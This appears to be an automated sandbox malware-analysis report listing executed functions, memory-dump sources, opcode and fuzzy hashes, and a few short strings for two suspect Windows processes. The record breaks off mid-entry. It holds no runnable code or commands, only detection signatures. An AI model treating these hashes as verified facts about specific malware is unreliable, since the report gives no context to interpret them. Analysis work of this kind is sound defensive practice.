Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69fa4278d479ece754e505f5c5d0ae7e5a2276a16017c83414430a0cc881e251
Instruction ID: 0e3957de54731c82dc9c4e51fd84a6ccc0cd44bf9d80eb19d4491c6f6c94fce9
Opcode Fuzzy Hash: 69fa4278d479ece754e505f5c5d0ae7e5a2276a16017c83414430a0cc881e251
Instruction Fuzzy Hash: F8C04C40E1D2939FFB71E960049207C06411B162C0B560676D126462D3E95C68095225

Function 00007FF849287241 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1396a6a5799ec9228f2375124eea1be95ad0cf95695e436ed63ce9a65db8d41b
Instruction ID: d8fa246b5ac68e66d9c8286a97fea4da375c479efe2584d3c993da24008ed4d1
Opcode Fuzzy Hash: 1396a6a5799ec9228f2375124eea1be95ad0cf95695e436ed63ce9a65db8d41b
Instruction Fuzzy Hash: 27B01200F0D263DFF13074F2185003C00441BC53C4F110730E23B461C3DD5C380022A1

Analysis Process: mQBLhXIPAJ.exePID: 5624, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848E707AE Relevance: 2.5, Strings: 1, Instructions: 1226COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF848E71BC1

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-3193329873
Opcode ID: 3cc0487fe14a061c2d8359ce6138af6be30029fc6ff050e6079a9db093caa428
Instruction ID: a07c2f0e12923d43989bf5504864b0a897732fb06356e77e2d89c598eb1b036d
Opcode Fuzzy Hash: 3cc0487fe14a061c2d8359ce6138af6be30029fc6ff050e6079a9db093caa428
Instruction Fuzzy Hash: D4829131E1C95A9FEA98FA2884516B873E2FF98780F5445B9D00DD32C7DF38AC828745

Function 00007FF848E70CFB Relevance: 2.2, Strings: 1, Instructions: 999COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF848E71BC1

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-3193329873
Opcode ID: aa43842b9f2d1abceb896ab46e4cd494d383531fad096579a6850ea2580e0c38
Instruction ID: 458a428869383681310551406da20f08aa0201d7f52acd2f6fbcfd899a193ab0
Opcode Fuzzy Hash: aa43842b9f2d1abceb896ab46e4cd494d383531fad096579a6850ea2580e0c38
Instruction Fuzzy Hash: 3B627131E1CA5A9FEB98FA2884517B973E2FF94780F5441B9D00DD3286DF39AC428B45

Function 00007FF848E60D7C Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d416bcadb0de5762219b458020cc04b358afdf214c6cf20f91586504cd377555
Instruction ID: 7f2f724c7181b62cedc4b4717dc101e9f0d4df9f278de05395658957af90e0bd
Opcode Fuzzy Hash: d416bcadb0de5762219b458020cc04b358afdf214c6cf20f91586504cd377555
Instruction Fuzzy Hash: DB91F474D2CA998FEB89EB2888143A97FE1FF96350F4400BAC00DE72D6DB781405CB15

Function 00007FF848E60B3F Relevance: 3.8, Strings: 3, Instructions: 54COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FF848E60B56
!k9, xrefs: 00007FF848E60B4E
"s9, xrefs: 00007FF848E60B46

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction ID: ea2171c56bb580886a4ffbd80badf8b0638c16910a09b71096214cd4efb4d34e
Opcode Fuzzy Hash: d2e26fa0ed65657ae63860e0153e178c88320430f77beff0b58864d7961f4ac1
Instruction Fuzzy Hash: FA01F22A31D95A8FC7026A3EB4905D87B50EAC6136BC905BBD544CB192E2102C9EC7E0

Function 00007FF848E73A59 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

M, xrefs: 00007FF848E73A76

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 04e3bc488ff383cad87af2c48b25e0e79b7c93357064b3d58fac671219633f57
Instruction ID: 4f1eb89e65152582972edb072ef2b16f4389d8eaa760c4c01715dd6bced38d05
Opcode Fuzzy Hash: 04e3bc488ff383cad87af2c48b25e0e79b7c93357064b3d58fac671219633f57
Instruction Fuzzy Hash: 7EE09B7194E7C48FC71AEA3888694547F60EF6720174A41EEC045CF1A7DA2DCC45C711

Function 00007FF848E73AE9 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

I, xrefs: 00007FF848E73B06

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: fba5413b5864827b78178c476d9d808de1c68ac2405763278569072412af7e90
Instruction ID: c7d9fd27142128b21f2a3741a517643b3a8bcda133361c70d3ce6c9ed9ed14c5
Opcode Fuzzy Hash: fba5413b5864827b78178c476d9d808de1c68ac2405763278569072412af7e90
Instruction Fuzzy Hash: A8E04F7194E7C44FCB4AEB34886A8543FA0EF6725178A41EEC045CF1B3E62DC849C701

Function 00007FF848E608D0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4b44266057ef1d2a0e721aeb96ed7e56f3a3bbc3e87c1f21633e2969431c0ca
Instruction ID: b63dcc573b707b83d45672c5f3540f63082c8c2982a78ffa24de885c2b87a5ea
Opcode Fuzzy Hash: d4b44266057ef1d2a0e721aeb96ed7e56f3a3bbc3e87c1f21633e2969431c0ca
Instruction Fuzzy Hash: 85415762A4C9656FE708F77CA0992F87781FF853A5F0840BBD04DCB193DF2868818698

Function 00007FF848E60998 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22a3943850a16e8c5d2294059fdbbf00414d129431024f1c7623b6baaf6d7ee5
Instruction ID: f26b069e42d3ff3761c7e7b5059da35fc2b99adbf2eb4784848b35745ed561bd
Opcode Fuzzy Hash: 22a3943850a16e8c5d2294059fdbbf00414d129431024f1c7623b6baaf6d7ee5
Instruction Fuzzy Hash: C4412820B1D9595FE788F73C585A67937D2FB99391F4400B9E40EC32D7EE28AC418749

Function 00007FF848E611A1 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee424f5ecd730d041c09d4561a9082574a24aa75162c69febee880e89e6e8fa4
Instruction ID: 0644c6be3f0e52046eceee1030c01cc1bc3090203f70445c1d430ae28476a1ec
Opcode Fuzzy Hash: ee424f5ecd730d041c09d4561a9082574a24aa75162c69febee880e89e6e8fa4
Instruction Fuzzy Hash: 1831713090C65A8FDB46FB68C8599B97BF0FF5A350F4505BBC009E72A2DB39A841CB50

Function 00007FF848E60C25 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08215959fc6b3e04a5cd8a17bd67f5dbb15892680e963f7e87e6ef5acad7d9b8
Instruction ID: f272d72ee69b29599bb51e35bb533a85b13a485381a546a05d681e9eec7723b6
Opcode Fuzzy Hash: 08215959fc6b3e04a5cd8a17bd67f5dbb15892680e963f7e87e6ef5acad7d9b8
Instruction Fuzzy Hash: D421E13190C6999FE712FB68C8452EC7FA0FF423A4F5545BAC044BB1C2DB3829898755

Function 00007FF848E74409 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5192b6d7a85f4cdcc71c037f512a3a99059b53ce8b941a2728ec7aa6ba6e4a8d
Instruction ID: 56acbcc58d1372140c8cffdc3b8dc17120e5ea5298a4870967307b48eae84915
Opcode Fuzzy Hash: 5192b6d7a85f4cdcc71c037f512a3a99059b53ce8b941a2728ec7aa6ba6e4a8d
Instruction Fuzzy Hash: 67212131E0CA8A4FE752BB3888581B93BE1FF55354F5902BBC44DC71D2EE38A9468345

Function 00007FF848E65534 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bf92dab81483fa3f90bde477b49eba6285cd17909a4737a030bc344866d149e
Instruction ID: 5a5fb26b5a360e80a853b985bf0c795c75e97f94f7fe8126292690efb4c8a6ba
Opcode Fuzzy Hash: 3bf92dab81483fa3f90bde477b49eba6285cd17909a4737a030bc344866d149e
Instruction Fuzzy Hash: C7113320E1CA1D4EE764BA1898592B872D1FF64350F9001B9D40EF72E3EF387D458649

Function 00007FF848E60C40 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf99f9d6da5f1ee9a06b15bf328e92f7abbe2fc998a25cf68453c51e3e1192b
Instruction ID: f014a9776ce4ace1c321e131a013213350cba038f7e64a5605fa89d0002d1555
Opcode Fuzzy Hash: abf99f9d6da5f1ee9a06b15bf328e92f7abbe2fc998a25cf68453c51e3e1192b
Instruction Fuzzy Hash: DD01A93190D7989FE702FB68C8402D9BFB0EF42260F1545E6C084EB292D6386A488B94

Function 00007FF848E60C48 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction ID: 5b81689088e1651b8ea27da21b17f62667958134c266d0842065b5076d6c5dd7
Opcode Fuzzy Hash: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction Fuzzy Hash: 4C015A7190D7889FE706EB78C844699BFB0EF42314F1945EAD044EB2A2D6386A48C795

Function 00007FF848E6566A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction ID: d9e9e5e114ba3435dc3cd7457d5a57069b717a1a9f1459f116fc6fd3c0df7d05
Opcode Fuzzy Hash: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction Fuzzy Hash: 63F0313090C91E8EEB64FA14DC486B873A2FF64351F9001B9D44EF7192EF387D958A08

Function 00007FF848E61A46 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04d4fdf14c7af364acb4c5cfb87676296641dbb7deb77d22b380797dc5f19b2b
Instruction ID: f41c35c91d83a912761312d5f60999fba0c44e8c17d3941dfbfc7a9fc660b4c5
Opcode Fuzzy Hash: 04d4fdf14c7af364acb4c5cfb87676296641dbb7deb77d22b380797dc5f19b2b
Instruction Fuzzy Hash: 03011D31918918CFCB59EB18D894E9973F1FBA8310F0402A9D40EE72A5DB35AE80CF85

Function 00007FF848E73FF7 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c5603210950207090422961526c285a0951d16b673f7be2608ef2632646db56
Instruction ID: 4b57aacc6884346673e9bfe37dc0a268d4f7240c1fc43ab22bfa8cff062787f9
Opcode Fuzzy Hash: 8c5603210950207090422961526c285a0951d16b673f7be2608ef2632646db56
Instruction Fuzzy Hash: DB014B70A0951F8EEB98EB48C855AFE77A5FF40354F40453DD11BD62D5EFB875008A88

Function 00007FF848E60C50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction ID: 1d494a934a9f4f92c3d2dbaecd3e8bb8dcd43c5ac94dc5e43bfe9a6d2a606513
Opcode Fuzzy Hash: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction Fuzzy Hash: 40014B7090D7C99FE706FB74884469DBFF0EF06314F1845E6D444EB292DA386A48C745

Function 00007FF848E74027 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc75a20b55ca1ed00e875c439e47c76fdc4729fedaed2942d1bf9ab294ef800c
Instruction ID: 6d9796b777fddf26e42c35cf95cedec9c4abbdcf7242b7a6d4940baa2f213071
Opcode Fuzzy Hash: cc75a20b55ca1ed00e875c439e47c76fdc4729fedaed2942d1bf9ab294ef800c
Instruction Fuzzy Hash: 4EF04970E0950F9FEB98EA48D455AFE77B2FF50390F00063ED016D7294EF7869418A84

Function 00007FF848E746F9 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 083a21ada1682168b47cde5e652d200687d2cd7b1381fc97928a4b1d5b1f5c53
Instruction ID: 2c916c2a3778828c11199c0d54d13586963e90439a6b929b231ac04f996f01a9
Opcode Fuzzy Hash: 083a21ada1682168b47cde5e652d200687d2cd7b1381fc97928a4b1d5b1f5c53
Instruction Fuzzy Hash: 48F08230A0C95B8FE665BA5C94409BEB291FF44B98F104270D42AD31DAEF38EC1187C8

Function 00007FF848E60B77 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction ID: 0463724105c59fff87dbdcdee3fb92fd12cc528830111bc805b7b8e71b0cb601
Opcode Fuzzy Hash: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction Fuzzy Hash: 9AF0553020DA89CFC742AB3DC8A08D0BF60FF43204B8A00FAC088CB462C3245C5ECB00

Function 00007FF848E6563C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction ID: 44e6ecc7956d6d1cc20c6e6cfc4d34b3b502825c445b06d011b98d177ef14cdb
Opcode Fuzzy Hash: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction Fuzzy Hash: 5BF03030A0C9198EEA64F604DC486B87392FF64390F9011BAD84EF71A3EF387D858648

Function 00007FF848E75318 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1c7dfccc88d550a0c504ef7a6d8429f03d32075b32a422873b135f7d92b8df
Instruction ID: 3775ec26be54088adbc8a92cabb63f1f2129e73afd593a2c5f1023abf952a6f9
Opcode Fuzzy Hash: 1d1c7dfccc88d550a0c504ef7a6d8429f03d32075b32a422873b135f7d92b8df
Instruction Fuzzy Hash: EED05E30B609094B8F0CB62D8458530B3D1F7AA20ABD45278940BC2281ED25ECCA8B84

Function 00007FF848E73A70 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction ID: 624740e71dae718bcd56c73aa6ef227b29225f906b2275ca74e504422623924a
Opcode Fuzzy Hash: b7b5e071f3789eae717b10c0ffdfc75cd0be3c54ec7eb2e14fd012d674173004
Instruction Fuzzy Hash: E0D0A930B60A0C4B8B0CB63D8858430B3D2E7AA20A384627C940BC3281ED25ECCACB80

Function 00007FF848E633D1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction ID: cadf967c029e486b9d6c9b0734e6fc60d261c9c85d6428012597e678f49e7799
Opcode Fuzzy Hash: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction Fuzzy Hash: 0FE01A20F0D12A8FF795BA10C8503BD22A1BF85381F9450B9D86DB76E6CF387C818B49

Function 00007FF848E63759 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction ID: 8576958cd4ac830fef12b803800038b9b0a2429590f4631019fefa52e676df46
Opcode Fuzzy Hash: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction Fuzzy Hash: 0BE01211E1C5554EF29DB56C44313B950C1BF98751F884179D41EF32C3DE5C3C400396

Function 00007FF848E606AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction ID: 22c00e277981450ec3cfd80455c7aa1b3eb6fa9d4df6ebc78a5e847680a4518f
Opcode Fuzzy Hash: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction Fuzzy Hash: D6C08C00E5F53B08E445712E14020ACA2017BC42A0FD00032C02C700929EAD30C5034E

Function 00007FF848E74718 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 387e63c72d1cec51fb15f3eb6a8ae46cde76971a7f43caf43f88bfad3b8c216e
Instruction ID: 11fd52cc99a76da05a4c6e0ed7303f21fdb0b99c6a49702810bd3db6b46b8276
Opcode Fuzzy Hash: 387e63c72d1cec51fb15f3eb6a8ae46cde76971a7f43caf43f88bfad3b8c216e
Instruction Fuzzy Hash: 70D09230A1864A8FDB44EE08C880EAA33A1FB48704F204960E92983292DA35FC128B94

Function 00007FF848E60B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction ID: efbce210bacd50ef177f3dfb13d4aceba7f181afd6019f63510de32bdeb12342
Opcode Fuzzy Hash: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction Fuzzy Hash: 39C04C305258098FC944FB6DC98995477A0FB1D215BD60190E40DC7171E66AEC95C745

Function 00007FF848E612E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction ID: 66eda309ea09482d7201f089046b183db6eb6a68ed1dc125f00a417f2063d7f1
Opcode Fuzzy Hash: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction Fuzzy Hash: E0C08C309208088FC908FB28C88480433A0FB09200BC10090E008C7170E229ECD0C740

Function 00007FF848E657D9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8332ee0c39d28a45c56d20edea293ca1febdd450cec6a4c005fa443bb8e153a1
Instruction ID: b7c20ec190b5097be4e15571560adc0851c018b982385d992c91ec7dbe5a96da
Opcode Fuzzy Hash: 8332ee0c39d28a45c56d20edea293ca1febdd450cec6a4c005fa443bb8e153a1
Instruction Fuzzy Hash: B7C08C05E1DC1A5AE25BA204401027E0012DF80B44F884031E01ED26CACE0D2A0106CA

Function 00007FF848E79E2C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e70000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b567058f7eec8211f091f5570d3c48fa7a9be4ca05688d63650a906f9a98df37
Instruction ID: 865005724ea984a9f10bb49a6285fe106a7e2a3011e3fa3f03cccf382a9b41f2
Opcode Fuzzy Hash: b567058f7eec8211f091f5570d3c48fa7a9be4ca05688d63650a906f9a98df37
Instruction Fuzzy Hash: C8D0C930C095588FEBA0EB14C840B9972B1BF48341F5001F6900DE3285CB356DC0CF81

Function 00007FF848E606D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.2367279887.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff848e60000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction ID: 11f8d10550346e9f3a4f007398059a370a93a6d624c90b1792530cf415cde2e8
Opcode Fuzzy Hash: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction Fuzzy Hash: E5B01200CAE41F04E408317A094206470417BC4140FC00070D40C70086D9DD3094034A

Analysis Process: containerReview.exePID: 7200, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848E707AC Relevance: 2.9, Strings: 1, Instructions: 1667COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FF848E71BC1

Memory Dump Source

Source File: 00000025.00000002.2402456375.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
